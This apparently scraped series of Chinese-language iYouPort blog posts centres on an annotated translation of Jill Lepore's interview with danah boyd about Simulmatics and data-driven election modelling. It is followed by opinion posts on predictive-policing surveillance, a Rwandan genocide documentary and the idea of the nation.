【按】直到如今人们依旧在纠结于 “假选票” 对民主选举公正性的危害，这是完全的跑题。干预选举的方式有无数种，其中假选票是最无能和笨拙的一种，因为太容易被发现了 —— 而正是那些真正在危害民主的东西躲在一旁观看着所有人围绕 “假选票” 争得面红耳赤的笑话 ……

我们在《美国的选举为什么撕裂了华人群体》中写道：是奥巴马启动了第一个数据驱动的选举干预的高峰，而特朗普则将其升级为全球臭名昭著的干预产业链的强化。

但我们没有解释这种形式的选举干预究竟起源自哪里。

今天介绍的是一本新书，通过与作者进行对话的形式。但这本书中揭露的东西绝非新颖和令人震惊，相反，它是人们早已应该知晓的东西 —— 是民主每况愈下的根本性原因。

但这本书真的详细梳理了民主被侵蚀的历史，这是前所未有的，并且它清晰地阐述了一个最主要的问题，即：正如我们此前在对机器学习

技术中的政治危险进行分析时所论述的 —— 技术领域有一些错误的想法，比如总是在想如何 ‘让技术变得更公平’， 而这是不切实际的；正确的问题是：这种技术是否应该存在。

同样，当技术哲学专家们讨论技术对民主的影响的时候，总是会问“技术可以如何帮助民主”，而这是个完全错误的提问。

技术不应该对民主做任何事，拯救民主是人民的事，人民通过投票选出的候选人执行人民的意愿，跟技术一点关系都没有。

没有任何人投票去选择那些CEO，不论他们是想要破坏民主还是拯救民主，他们没有权力对民主做任何事。这些亿万富翁CEO和他们的技术能做的最好的事就是，滚远一点，别碰我们的政治。

这本书则真正认真地探讨了关于为什么要彻底拒绝这些技术。

📌 您可以将这本作为真正的反抗者的论述的书，与此前我们总结的来自皮尤这样的旨在维系现有系统的机构所作出的调查，进行一个对比；相信您会清楚地看到什么是反抗。皮尤的那篇在这里《数字技术究竟是会杀死民主，还是拯救民主？：这个10年》。

这本书在这里下载：https://www.patreon.com/posts/20shi-ji-shu-ju-44391720

您即将读到的采访发生在2020年9月17日，庆祝 Jill Lepore 的新书《If Then》的上市，这本书揭示了**20**世纪数据疯狂的算法化新冷战之起源。

Hannah Murphy 在《金融时报》上写道：“这位哈佛大学教授、《纽约客》作家细致地记录了 Simulmatics 如何为预测分析领域奠定了一些最早的基础。如今，互联网平台、广告商和政治战略家，都在利用它来帮助销售消费品、或选举候选人。科学家、心理学家和麦迪逊大道广告预言家组成的混沌乐队直到如今都是 **Facebook** 和 **Google** 不知名的祖父，是他们所有的奇异算法的来源。”

📌 这本书为理解美国选举政治和数据科学之间的关系提供了一个精致的基础，在民主进入衰落的时代里，这种理解是至关重要的，2020的选举季无疑将被认识论的辩论所破坏。我们只能希望《纽约时报》那样的企业媒体不要再用另一个预测选举结果的摇摆盘来惩罚我们了。

Jill Lepore 是哈佛大学美国历史教授和法学副教授，她也是《纽约

客》的撰稿人和播客 “最后的档案” 的主持人。她的许多著作包括《These Truths: A History of the United States》 一本国际畅销书，被《时代》杂志评为十年十大非虚构类优秀书籍之一。

下面是这次访谈的内容。

Jill Lepore（JL）：我先讲讲关于 Simulmatics 公司的一些事。这是一个异常晦涩的故事，当我打开麻省理工学院图书馆的档案盒时就立刻陷入其中了。那盒子里的内容 —— 有几百个那样的盒子 —— 真的，回答了很多我曾经一直都不知道的问题。所以，我觉得有义务写一本书。

Simulmatics 公司成立于**1959**年，创始人是一个叫 Ed Greenfield 的人，他是麦迪逊大道上一位魅力四射的广告商，同时也是一位忠实的自由主义慈善家，还是非常虔诚的民权事业的支持者，曾在整个50年代参与民主党的竞选活动。

Greenfield 是个非常聪明的人。他非常喜欢被大卫·哈尔伯斯坦称为“最好的和最聪明的人 “的那种人（具有相当大的讽刺意味）。Greenfield 对行为科学和**20**世纪**50**年代新兴的计算机科学领域的研究特别感兴趣。他设计了一个选举模拟器。

【注：“行为科学” 就是今天用来操纵全世界所有人的东西的理论基础，从操纵您疯狂“黑五”剁手、到操纵您的认知、再到操纵您给谁投票。比如《心理操纵的秘密：”行为经济学”＋PR＝？》】

今天的人们一直在模拟选举，但这种模拟在20世纪50年代是全新的。仔细想想，这很有道理：如果你有兴趣在20世纪50年代尝试为人类行为建立一个预测模型，投票将是你最有可能想要研究的事，因为这是人类行为中为数不多的数据丰富的领域之一，当时有大量的数据可用：人口普查数据、民意调查、选举申报表 ……

民主产生了自己的数据。于是，从事定量型社会科学研究的人真的被吸引到了投票行为的研究中。Greenfield 的公司 “Simulmatics” 的运作理念是，⚠ 一旦你能完善了一个预测投票行为的模型，你就可以用它来预测各种行为，包括消费者的选择。

该公司成立于1959年，其第一个客户是民主党全国代表大会，下一个客户是约翰·肯尼迪竞选活动，1960年，该公司为其提供了如何击败理查德·尼克松的建议。

而在这个项目之后，**Simulmatics** 几乎在每一个领域工作，直到今天，你可以在各种地方发现预测分析的机器在运转。它为高露洁和 Ralston Purina 等公司提供广告建议；为电视台提供媒体建议，它为《纽约时报》做了一个关于选举之夜数据分析的大项目，它还为联邦政府进行了一些项目。

但是到了20世纪60年代中期，该公司就苦不堪言了，因为他们想做的大多数项目都没有足够的数据 —— 至少，没有足够的数据来做好这些项目。更不用说，当时的计算机速度不够快，价格也不便宜，无法将其作为一种商业模式进行。所以，尽管 Simulmatics 公司的想法是利用计算机技术来预测人类的行为，并将这些预测作为产品来销售，但这在当时是一个很艰难的生意。

1965年，该公司转而从事新的工作。Simulmatics 在西贡设立了一个办事处，并为美国国防部承接合同，收集和分析南越农民的民意数据。这项工作具有异常的争议性；在很多方面，它导致了公司的衰落，并最终在1970年破产。

📌 我真正感兴趣的是：该公司曾经做得不好的所有事在多大程度上后来都做得 **很好**。当我看到这个故事的时候，就有点像发现了一个未爆炸的地雷。这是一个很久之前就被埋下的东西，但现在，它爆炸了。

danah boyd (db): 《 If Then》是一本伟大的辉煌的著作，它不仅仅是关于一个公司和它的人以及它的触角的故事，同时也是美国民主与数据和技术之间非常复杂关系的故事。

这种关系 —— 我从你的很多其他书中看到 —— 可以追溯到很久之前。但能够如此深 Simulmatics 公司，让人大开眼界。通过这个角度，你的书让我们看到了一个时期，⚠ 我们的政治家们非常愿意拥抱的不仅仅是数据，而是技术的海市蜃楼。他们不一定想看清它的底细、了解它的细节，他们不想了解技术的局限性；相反，他们对数据的性能感兴趣，他们只关心：如果数据能说话，它能说什么。而这正是数据非常有趣的地方，尤其是在你在书中描述的这种高风险的情况下。

是什么原因让美国人的心理和政治结构、让这种对有数据说话的这种执着，在一段时间内，尤其是在这个时期，屡屡活跃起来的？

JL：美国的民主取决于人口学。我们的政治制度是数学的，宪法要求进行人口普查，因为这个共和国的运作就像一道数学题，甚至到了奴

隶制这个问题上也是数学的，这个问题用一个分数来“解决”：五分之三。

但是，人民的政府当然不仅仅是一个数学问题，它是一个可以被影响的问题，而且实际上非常容易受到通讯技术变化的影响。在整个美国历史上有一个规律：每一个新的通讯技术出现之后，都会有一个政治不平衡期。

有了新的技术，通信速度更快了，可以沟通的人更多了，信息更自由了。人们因为有了这种新的力量而奋起。然后，这种新的力量迅速被遏制，或者以某种有意义的方式被限制，“平衡”就恢复了。

但在上世纪50年代大型计算机崛起之前，真的，这些通信技术并不是不可捉摸的，也不是难以理解的。谁都能理解电报机的运作方式；对于电话，它有点诡异，有点不可见，但它也并不难理解；收音机似乎有点像电话机，它们都不是自我神秘化的技术。

而到了1951年的UNIVAC（通用自动计算机，那是**1950**年为统计人口普查而建的），这种情况就开始改变了。

文化真的围绕着做科学的人而展开。

📌 这似乎是冷战任务的一部分。冷战、太空竞赛：联邦政府为了所谓的国家安全的目的投入大量资金追求科学。

- 关于互联网的由来《互联网究竟是什么？—— 来自“监视谷”惊人的启示》

不知为何，人们认为有必要拜在麻省理工学院工程师的神坛上，以至于当你取笑他们时，你就会成为一个笑话。

比如，考虑一下1957年的电影《办公桌》（Desk Set），Spencer Tracy 饰演一位麻省理工学院的系统工程师，Katharine Hepburn 取笑他的那种情节。这部电影作为一部喜剧，其部分原因是 … 它会刺激人们这样的想法：“哦，我的天哪，她可以对他说这种话， 即使他是一个做科学的人？”（喜剧的效果来自于与大多数人根深蒂固的想法相悖）

【注：UNIVAC 是第一台商用电子计算机。1951年由雷明顿兰德公司发售。 真空管数量为5200只，与ENIAC相比，仅为三分之一以下。存储器为100只水银延迟管。占地26.7平方米，重量7.2吨。】

📌 这就是孕育出 Simulmatics 公司科学家的文化背景。关于 Simulmatics 公司的一件事仍然让我着迷 —— 这些家伙正在尝试制造一台机器来预测人类的行为。但他们一般只用它来预测三个群体的行为：一个是黑人选民，因为他们的第一个项目就是研究黑人选民；一个是女性，家庭主妇；第三个是越南农民。

对我来说，作为一个人文主义者，我看着这一切就会想：真的吗？ 你要造一台机器来做这种事？1960年，他们建立了一个数学模型，用 FORTRAN 写了一个计算机程序来了解黑人选民。我的意思是，你为什么不能直接打开电视去观看 **Greensboro** 著名的午餐柜台静坐抗议，但他们却决定建立一个数学模型，并为计算机编程。

📌 这种傲慢源于中世纪白人自由主义在特定技术主义时刻的高潮，由所谓的国安体制的研究议程安排。

【注：午餐柜台静坐抗议是美国民权运动的经典战术，抗议者们都穿着体面，安静地坐着，各一个位子坐一个人，以方便其它白人同情人士加入抗议。示威人士不单在午餐柜台前静坐抗议，还在公园、长椅、图书馆、剧院、博物馆和其他公共场所内抗议示威。相关反抗技巧参见《别把注意力集中在抵抗上：预设性干预战术】

db：这是超级重要的。在这本书的前面部分，你引用了美国著名作家尤金·伯迪克的话：

这个新的黑社会由天真善良的人们组成，他们使用计算尺、推算机器和电脑进行工作。这些人大多受过高等教育，其中许多人是博士学位，我见过的这些人中没有一个人对美国公众有恶意的政治算计。但是，他们做的事正在从根本上重建美国的政治体系，建立新的政治，甚至彻底修改备受尊敬和的美国机构，这些都是他们无辜的事实。

- 大数据使政治消亡。这是一场看不见的政变，其目的是旨在清空民主的实质内容，仅仅只留下一个触摸不到的虚伪躯壳。剩下的，只有礼仪性的制度和由于“选举”而神圣化的约会… 《国王们的晚宴—— 这是一场看不见的政变》

正如你所指出的，这是一个关于技术官僚的故事，用现代人的眼光来看，这是一个关于白人至上主义文化如何通过这些官僚系统得到维护的故事。即便如此，我想，很多读者都很关心如何用技术做好事，那么他们应该从这个故事中得到什么呢？他们本以为自己从事的是一项“为善而设计” 的技术，但事实上却维护了如此多的压制性系统，他们可以从中学习到什么？

JL：Burdick 在**1964**年就写过。他是加州大学伯克利分校的政治理论家，1956年曾为 Greenfield 工作。后来有人请他为 Simulmatics 工作，但他却写了一本小说，起诉 Greenfield 的公司。

这就是我研究历史的原因。我在图书馆里读到 Burdick 的那段话，我想： 有人在1964年就想通了这一点。他当时就预言，我们所知道的美国政治将被人类行为的预测所摧毁， 而其他古老的机构，例如本地的报纸， 都很可能被摧毁 **……** 他在几十年前就预见到这一点！

要记住，Burdick 之所以能预见到这一点，是因为他是一位政治理论家和作家，他对美国政治秩序的研究使他认为美国的民主制度与电脑模拟选举完全不一致。他们需要 Burdick 这样的人 —— 哲学家、政治理论家、历史学家、诗人、批评家，等等。

但是，相反，经营这些公司的人拒绝文科，好像整个人文学科对他们来说就像会打领结那么简单，他们拒绝理解这些知识体系和分析方法是人类状况的基础。

我喜欢这个 Simulmatics 故事的一个原因是，这些科学家本身不是坏人，他们是想让民主党在民权问题上采取更强硬的立场。他们是理想主义者。但是，他们并没有考虑到自己所做的事的影响。**Burdick** 考虑过，而且拒绝参与其中。

db：这也是一个令人着迷的时期，因为在此期间政党进行了重新安排，在这本书的第57页上，你注意到保守派谴责行为科学的无神论和道德愚蠢，理由是技术官僚主义是国家对人民的控制，甚至是对人们思想的控制。

我对这一时期对科学和社会科学方法的不同政治态度，以及这一切是如何被结构化的，感到着迷。在这次讲座之前，Erica Robles-Anderson 为您准备了一个问题。考虑到对社会科学的态度， 我们如何理解1960年代南方民主党和黑人选民切换政党时发生的重组？在这次调整中，这些部分是否都融合在一起了？

JL：这是一个相当有趣的问题。政治被现代民意调查业从根本上改变了，它真正出现在**20**世纪**30**年代，这本身就是一次重大调整。

1932年，当富兰克林·罗斯福竞选总统并在1933年当选时，他是靠所谓的新政联盟获胜的：他能够拉拢黑人选民，而这些选民，自林肯和解放以来、自第15修正案以来，他们一直投票给共和党。到了20世纪30年代，吉姆·克劳法 (Jim Crow laws) 意味着黑人在南方不能投票，

但是，在可以投票的地方，他们都投了共和党的票。直到罗斯福。

【注：吉姆·克劳法 1876年至1965年间美国南部各州以及边境各州对有色人种实行种族隔离制度的法律。这些法律上的种族隔离强制公共设施必须依照种族的不同而隔离使用，且在隔离但平等的原则下，种族隔离被解释为不违反宪法保障的同等保护权，因此得以持续存在。】

📌 现代民调行业始于**1935**年，George Gallup 创立，正是它扭曲了选民。例如，盖洛普拒绝问白人关于民权的问题，他们也不对黑人选民进行民意调查。整个30年代都有民权运动的静坐示威，国会每年都有反私刑的法案。但盖洛普没有问人们关于民权的问题，那是因为他有一个全国性的联合报纸专栏叫“America Speaks”，而南方的报纸不想刊登关于民权的专栏，他们也不想听到北方黑人选民的意见。盖洛普不想失去这些报纸，就答应了他们。https://www.technologyreview.com/2020/10/20/1010809/inside-the-information-war-on-black-voters/?fbclid=IwAR0VyX1zGoezqamtO2K2xSOVV-ncAXXnQvXuBI7WjGk6_Cay1xwVXh7kyWc

https://www.democracynow.org/2020/11/2/alamance_county_voting_march_police?fbclid=IwAR3iDvh689fZh_fD7FmBVe3iu06d82UDanU09ev1Oi9lf2csqozrjk

总之，到了20世纪50年代，富兰克林的新政联盟已经开始分崩离析，因为1952年当选总统的德怀特·艾森豪威尔和1956年再次当选总统的共和党人，在民权问题上的立场比他的民主党挑战者阿德莱·史蒂文森更坚定。

黑人选民离开新政联盟，大量投票给艾森豪威尔。这时，Ed Greenfield 说：“如果我们模拟1960年的选举，实际统计黑人选民，那结果会怎样？我们可以把这些结果拿给史蒂文森，或者成为民主党提名人的任何人，以对抗艾森豪威尔的继任者理查德·尼克松，说服他在民权问题上采取更强硬的立场。”

⚠️ **Simulmatics** 的工作依靠的是在将人口群体对立起来这一进程方面的日益成熟。Simulmatics 用来分类人的机器将美国选民分为480种可能的选民类型 —— 然后利用这些不同的类别进行模拟。

这就是为什么 Burdick 把他的关于批判 Simulmatics 的那本书起名为《480》。他不仅反对模拟，而且反对排序。你住在布鲁克林，你是

上流社会，你是亚裔美国人，你两次投票给奥巴马：这就是一种选民类型。

⚠ 从 Burdick 作为政治理论家的角度来看，如果你把人口分为选民类型，并按类型对每个人量身定制政治信息，那么你实际上是在分裂美国人、让他们与自己对立。你正在击败我们代议制政府背后的哲学。

- 这就是今天的社交媒体政变手段 —— 定制人的由来《算法暴政：定制人如何终结民主》

就如作为一个中年的天主教新英格兰妇女而且曾经投票给奥巴马两次，于是我这样的人就不应该去投票站投票；相反，我应该去投票，思考选票上谁能最好地代表每个人的利益，谁的政策立场是符合公众利益和共同利益的。如果我从未收到过这样的信息："这是我对所有人的愿景"，我就无法做到这一点。

这就是 Burdick 说的意思，**Simulmatics** 科学家其实并不了解我们的政治制度；如果你了解我们的政治制度，你就不会这么做 ——因为这会毁掉它。

db：这个故事变得如此痛苦的部分原因是，Simulmatics 公司努力地为黑人选民树立榜样，以增加选举权；然而，后来，他们转而在越南战争中发挥作用；他们的宣传被用作反越运动（是反越南，支持越战）。

身为纽约大学教务长和《Black Software》作者的 Charlton Mcllwain 对这些不同的组成部分很感兴趣。他想知道。Simulmatics 对其在60年代反黑人种族主义政治的塑造甚至煽动中的积极作用有多透明？除了他们工作的特定时期，你如何描述 Simulmatics 对民权的长期影响？

JL：任何一个在1960年代为该公司工作的人都会感到震惊，无法想象有人会认为它是一家反对民权的公司。

这些人都是国内从事社会科学工作的最进步的自由主义者。大多数帮助创立公司的科学家都拒绝去越南，因为他们与真正支持这项工作的科学家意见相左。他们往往是反对战争的人，他们参与反战游行，他们敦促他们的大学撤回对战争相关研究的支持。

这些人试图解决不平等问题 —— 这就是 **他们认为自己在做什么**。例如： 试图预测种族骚乱。他们试图阻止暴力，也试图放大那些

在街头抗议的人的声音，因为这些人抗议的就是警察的暴行。

然而从中出现的是一些超级令人毛骨悚然的东西，但这在很大程度上是无意的。那么，这些人中会有人认为自己是在推进反民权的邪恶事业吗？不，他们根本不会这样理解自己。

db：在我自己的研究中，我目前关注的是2020年人口普查。当我们努力应对正在进行的关于该数据合法性的奇观时，Dan Bouk 和我一直在努力解决的一件事涉及能够看到基础设施的意外后果。

📌 换句话说，即使我们都知道人口普查数据是被制造出来的，而不是被发现的，但看到香肠是如何被制造出来的并不总是那么美好。然而，我们的确就在这里，学习香肠。

你提到了 Barrington Moore 的概念，即 被技术万能的幻觉所蒙蔽。这不仅仅适用于计算机，有时候技术万能也在帮我们至少确定了数据是基础架构。

【注：巴林顿·摩尔 (Barrington Moore Jr.) 美国著名历史学家、社会学家和比较政治学家，其最为人知的作品是《民主和专制的社会起源》，该部著作详尽研究和比较了英国、法国、美国、中国、日本、俄罗斯、德国以及印度的现代化。其作品还包括《人类苦难的原因反思》、《不公：顺从和反抗的社会基础》等。】

当你翻阅 Simulmatics 的历史时就会认为，如果不委屈生产这些项目的组织或机构，就根本无法谈论大数据项目的香肠。很显然，有些时候应该委屈他们。但是，揭示数据背后的系统会带来哪些意想不到的后果？我们如何平衡在更广泛的背景中能够看到和理解数据和技术的位置的这些时刻？

JL：我最近读了两篇不同的文章，它们都是关于这个问题的，一篇是60年代的文章，叫做 “科学崛起的政治后果”；另一篇是我在哈佛的同事 Danielle Allen 的文章，叫 “奴役之路”。📌 这两篇文章都提出了同样的观点：我们的宪法制度是由律师设计的 —— 18世纪的律师（两位作者也是历史学家）。当这些律师着手起草宪法的时候，他们并没有拿着一份秘密文件，站在高处说，这就是规则！而是公布了它。他们把它发给人民批准。他们鼓励人们召开会议，进行对话， 然后他们召开正式的会议，人们对草案进行辩论， 然后通过批准程序。

宪法是极其复杂的。它虽然只有大约四千字，但它包含了很多想法。这些人确实有信仰，尽管他们对 “人民” 是谁的概念非常小，从我们

的角度看非常小，但从他们的角度来看，“人民” 是不可思议的民主政治。他们相信，人民可以作出决定。

他们称宪法是一部机器，他们认为宪法是一个设计好的装置。一个对每个人来说都是可读的和透明的装置。

📌 但在20世纪的某个时候，作为社会工程师的人变成了 经济学家。然后，科学家取代了经济学家。但是，当这些从事复杂科学工作的人做出关于政府应该如何工作的决定时，问题就出现了。

比方说，预防大流行病。因为，是的，我们都能读懂宪法，但我们都能理解流行病学吗？然后，考虑一下奇怪的是，⚠ 真正在设计人们如何彼此行为的人并不是律师、经济学家或科学家 —— 他们是马克·扎克伯格这类寡头，他们珍视混淆和神秘化：这是他们商业模式的一部分。这也是为什么监管如此难以捉摸的原因。

还记得今年夏天，**Facebook**、谷歌、亚马逊和苹果的负责人出现在国会面前吗？而很明显，大多数国会议员丝毫不知道这些企业是如何运作的。现在的状况是，这里有一些系统、甚至是技术复杂的系统，在推动我们的政治 —— 以至于人民完全无法理解它们 —— 这意味着我们已经不再有民主了。

db：法律学者 Kate Klonick 将科技公司的CEO们称为 *新的治理者*，以此来捕捉他们的行为所造成的政治影响。然而他们自己也不知道该如何看待自己在这一切中的角色。

在今晚的节目开始之前，我们收到的另一个问题是来自微软的CEO Satya Nadella，他想知道，他应该如何思考工业界在建立支持民主而不是破坏民主的系统中的作用。而从你自己的研究来看，科技的亮点是什么？特别是对于那些身处这些岗位的人来说 —— 作为各大科技公司的高管，监督着他们的很多未来 —— 你会告诉他应该如何思考自己的责任吗？

📌 JL：这个问题至少间接地建立在一个**假设**上，即 “更多的代码会解决这个问题”，“我们只需要有更好的代码，我们只需要做一些调试” …… 这个问题的背后有一种调试的心态。而这种心态忽略了很多人更深层次的批判，那就是：我们根本就不想要这个程序！我们不想要一个什么更好用的程序！我们不想要一个工作更快的程序。我们压根就不想要这个程序。

我很欣赏微软CEO提出的这个问题，我也绝不怀疑他的诚意。但它建

立在这样的假设上：科技公司的CEO们 “应该修复我们的民主”。不，他们不应该这样做。

人民才是需要修复民主的人，当选的人需要去修复民主。科技公司的CEO们应该尽量减少对我们民主的伤害。但我并没有投票选这些**CEO**来修复民主。没有任何人选举他们。〇

“WE DON’T WANT THE PROGRAM”: JILL LEPORE ON HOW TECH CAN’T FIX DEMOCRACY In this conversation, originally presented by Data & Society and Brooklyn Public Library, historian Jill Lepore discusses her latest book, “If Then,” with danah boyd.

原文

“社会信用”监视：英国、中国、美国和日本【Viedo】 - iyouport

你应该了解的现实你我的灾难现实免费书和纪录片公私监控伙伴关系少数派报告老大哥的真面目

【2019年11月19日存档】

少数派报告风格的反乌托邦世界不是现在才开始的；有些国家已经运行好几年了。

本文想说的绝不是“存在即合理”，而是，全球反抗者应该联合起来。生活不应该是监狱；即便真正的监狱也不会对没有犯罪的人施加惩罚。

故事大概是从英国开始的。2017年5月，英国启动了第一个少数派报告风格的“预测犯罪系统”。

英国在西方世界广泛部署最具侵入性的监控系统，并利用大数据赋予警察“预测犯罪”的能力 —— 现在被瞄准的是尚未违法的人。

如今已经众所周知，世界各地的警察部门都在与私营公司合作，使用公共数据、个人信息和算法来预测最有可能发生非法行为的地方，最重要的是，“谁”最有可能犯下这些行为。

还有一部专门讲述预测犯罪系统的纪录片，名字就叫“Pre-Crime”。在这里看到（一小时26分）：https://vimeo.com/ondemand/precrime2 下面是预告片和片段：

上面纪录片的下载种子在这里，感谢朋友 @Nafrofuckoppai ：magnet:?xt＝urn:btih:6C39CB82F84B47111B77E71488133C5C9EE01DE5

美国的“预测犯罪”系统处于该技术的全球最前沿：

“三年前芝加哥就有一个名单，里面有1,500人。他们受到警方的重点

监视，并且有一种特殊的算法可以计算他们犯罪的风险……”

- 更多：穿“错了”衣服会导致你被捕《“帮派数据库”是什么？为什么据此就可以直接给无辜的市民定下重罪？》

这就是预测犯罪技术，自称能够预测犯罪何时发生以及由何人犯下。

从那时开始，短短几个月内，这种系统已在全球范围内运行。

现在必须有更多人了解它。了解是抵制的基础。

Bloomberg—中国：中国当局的维稳努力已经扩展到曾经只存在于科幻小说中的情节：预测犯罪。

共产党指示该国最大的国营国防承包商之一中国电子科技集团开发软件，整理有关所有人的工作、爱好、消费习惯和其他行为的数据，以在“犯罪”发生之前预测到它。

“在恐怖行为发生之后检查原因至关重要，但更重要的是预测即将到来的犯罪行为”，军事承包商总工程师 Wu Manqing 在2017年的一次会议上对记者说。

该计划是前所未有的，目前没有隐私保护法的保障措施、也没有公民自由倡导者哪怕最小的阻力。

在世界各地的所有这些例子中，法律正在迅速改变 —— 当权者异口同声地以“保护公民的安全”为幌子，施加最危险的压制。

以下只是几个关键国家为例。

The Daily Beast: 东京 —— 2017年6月14日，在执政联盟扼杀了标准立法议定书之后，欺骗性的“反恐法”在日本成为了法律，并避免了对这个被称为“刑事阴谋法”的法案提出更多令人尴尬的问题。

该法律规定了277种罪行，允许执法人员逮捕和起诉那些被认为是“计划和准备”犯罪的人，即使这些罪行根本没有实施。

讽刺的是，277种犯罪中没有任何一种与“恐怖主义”有关。

从技术上讲，⚠由于该立法涉及社交媒体 —— 即使只是点赞或转发了相关的推文，现在也可能成为共谋犯罪指控的理由。

BigThink—美国：由美国国土安全部牵头，一项名为“未来主动筛查技术” FAST 的倡议推出了，旨在利用传感器技术来检测“国家安全部门”定义的“恶意行为”的线索和意图。

FAST 系统能够无接触地监测所有人的生理和行为线索。这意味着捕获数据，如心率和视觉稳定性等等。

然后，通过算法实时运行以计算个人“计划犯罪的概率”。

根据“自然”杂志的说法，该计划的第一轮实地测试是在东北部的一个秘密地点完成的。在实验室环境中，FAST 报告的准确率为“70%”。

这都是纯粹的预测犯罪技术。令人不安的是，⚠当权者一直在努力使用“社会信用机制”这样的委婉语试图淡化其危险程度。

正如 As Civil Society Future 在一篇关于监视时代的文章中所指出的那样：“公民越来越多地被根据数据集合进行分类和分析，就如中国开发的社会信用评分 —— 这些分数的目的是预测未来的行为，并相应地分配或剥夺享受资源和服务的资格。

换句话说，一切都必须在当权者满意的范围内。

我们最初是在近五年前提醒警惕的，见《又一个被漠视的深渊》。

五年来没能有效地抵制它的发育，现在真的没时间了；唯一的办法是自卫，在这里看到《自卫方法》。

但自卫绝不是目标，而是手段，目标应该是结束这种噩梦。只有首先保证尽可能多的人的人身安全和自由思考的能力，才有希望作出改变。

六年前，英国和美国的监控机构 GCHQ 和 NSA 被曝光一直在收集从电子邮件、电话、私人对话、联系人、健康和财务信息到私人家中拍摄的亲密照片等等一切公民数据，那时起，越来越多的人开始迅速改变自己的在线行为。

- 关于世上最大规模的曝光，完整版《互联网霸主的时间线——他们将互联网视为间谍、破坏和战争的主场》
- 为什么曝光没能阻止监视的持续？《6年，改变了什么？》《超越透明度革命》

请注意：“改变在线行为”并非仅仅包括我们所希望的隐私安全措施，

事实上，作出安全保护的人相对很少；不幸的事，大多数人采取的“改变”是自我审查。这正是监视者所希望的。

就如卫报显示的那样，还是英国，另一个恐怖的技术也在同时实施中：

这是一项集体捕捉公民浏览历史、记录电话交谈、语音数据以建立国家警察数据库的建议，并为每个公民提供所谓的“犯罪倾向”评分。这就是少数派报告。

英国公司已经在建筑行业秘密使用黑名单多年，成千上万的人被迫停止获得劳动合同。黑名单是公司用来阻止他们不喜欢的人的秘密工具。效果是毁灭性的。工人不知道自己的细节哪些会被检查，也无法查看信息是否准确。

人们一直不知道自己在家中拍摄的照片视频、一切对话记录和互联网浏览历史，都在被跟踪监视，直到斯诺登揭露了政府最大的秘密。现在人们知道了，就应该尽快采取行动。

少数派报告是大数据之恶的另一个高峰，⚠它已经不再针对具体行为，而是针对人们的想法 —— 甚至只是当权者所认为的“人们可能会有的想法”。

毫无疑问，“预测犯罪系统”技术已经到来，但它不仅仅是预测*犯罪*这样的简单目的。

“犯罪”、“信用” 这些概念都是当权者为掩盖其真实用意而采取的障眼法。因为这些概念在大众心目中具有普遍标准的道德判断，于是它们很容易唬人。

通过将这项技术与其他海量数据收集相结合，它本质上显然有能力强制进行自我审查；随着时间的推移，所有所谓的社会信用系统等技术都将应用惩罚和奖励，胡萝卜和大棒，就是现在在中国进行的东西。

事实上胡萝卜比大棒更可怕，见《胡萝卜：中国当局大举奖励最顺从的公民》，一份北上广的户籍有可能令一切关于人权和反抗的呼吁变得虚弱甚至无效。

权力倡导者必须想到办法战胜这点。〇

原文

"这个世界的希望模式" [video] - iYouPort

免费书和纪录片

推荐一部新纪录片，在卢旺达种族灭绝事件25周年，关于如何化仇恨为和平的思考

「图」

「图」

卢旺达种族灭绝事件25周年，新电影展示了正义与治愈之旅】随着全世界纪念卢旺达种族灭绝25周年，即将出版的新纪录片揭示了幸存者和肇事者走向正义和治愈的漫长旅程。

1994年4月7日，卢旺达占主导地位的胡图族成员发起了为期100天的杀戮狂潮，针对内地东非国家少数民族图西族人。估计有80万人或更多人被屠杀—— 95,000名儿童没有父母。国际社会在围观。

这场大屠杀使 Gadi Habumugisha，Bizimana Jean 和 Mussa Uwitonze 成为了孤儿。他们现在是 The GroundTruth 项目的专业摄影师和研究员，该项目来自位于波士顿的非营利媒体组织，名为 Camera Kids。

在这里看到预告片：

种族灭绝结束后，Gadi，Bizimana 和 Mussa 由美国人道主义者 Rosamond Carr 收留在卢旺达穆图拉的 Imbabazi 孤儿院长大。在那里，他们收到了来自 Through the Eyes of Children 的一次性富士相机，这是一个非营利组织，于2000年开始举办摄影工作坊，教导弱势儿童如何捕捉画面，并与世界分享他们的故事。

参加非营利组织第一次研讨会的19名卢旺达孤儿被称为“相机儿童”。今天，纪录片中的三名男子已经20多岁了，他们都是“Through the Eyes of Children”项目的协调员。

“当我们还是孩子的时候，[Carr]曾经告诉我们，我们应该与他人分享

我们所拥有的东西，”Bizimana 告诉时代周刊，“这是她给我们的传承。我们给其他孩子摄影是在做我们答应过她的事。”

Mussa 通过镜头讲故事，电影中解释说，“这可能就像一种药。可以治愈某人。”

“当我学习摄影时，那是我能表达自己的时候，我能从中意识到我很重要”，Gadi 说。

GroundTruth 项目的电影将于2020年推出，他们通过采访和拍摄那些幸存下来的人，以及那些对大规模杀戮负有责任的人及其家人，来探索夺走他们父母生命的种族灭绝事件。

PBS NewsHour 已经播出了该电影的片段。

“我遇到了这对夫妇，”Gadi 说，“一个是犯罪者的儿子，另一个是幸存者。他们曾经互相残杀，现在互相原谅，彼此团聚，一起生活，现在结婚，过去正在远离。”

在这里看到片段：https://www.pbs.org/newshour/show/how-young-rwandan-genocide-survivors-are-documenting-25-years-of-healing

在 The GroundTruth 项目发表的一份导演声明中，美国电影制片人 Beth Murphy 强调了全球社会可以从卢旺达种族灭绝事件中获得的关于仇恨与和平的教训—希望在 Camera Kids。

“如果没有与当今世界正在发生的事相提并论，就不可能真正研究这段历史，”Murphy 写道。“随着世界各地极右翼民粹主义的兴起，美国和所有西方国家的白人民族主义者正在使用与卢旺达的种族灭绝肇事者在1994年大屠杀之前的几个月和几年中使用过的同样令人恐惧的语言。这令人不寒而栗。”

“当卢旺达从100天的黑暗中走出来时，宽恕和和解计划不仅得到了鼓励，而且得到了强制执行，”她指出。“人们曾经被教导如何憎恨，现在他们被教导如何实现和平。种族灭绝后二十五年，该国找到了平衡正义与治愈、复仇和宽恕的方法，并为世界带来了一个希望的模式。”

A Model of Hope for the World’: 25 Years After Rwandan Genocide, New Film Shows Journey Toward Justice and Healing. Three orphans turned professional photographers interview survivors and

perpetrators of the 100-day killing spree that left 800,000+ dead

原文

*国家*的危险神话 - iYouPort

免费书和纪录片关于中国社会地缘政治

“国家”究竟是什么？是什么把我们绑定在一起、演绎无休止的怒发冲冠和荷尔蒙爆炸？你的国家认同之骄傲究竟来自哪里？“同胞”是什么意思？是什么在操纵你对“非同胞”大开杀戒？“伟大复兴”想要兴的是什么？如果“国家”的概念死了，你怎么看？

「图」

「图」

2019年，我们生活在这个*国家*化的时代里。至少看起来如此。

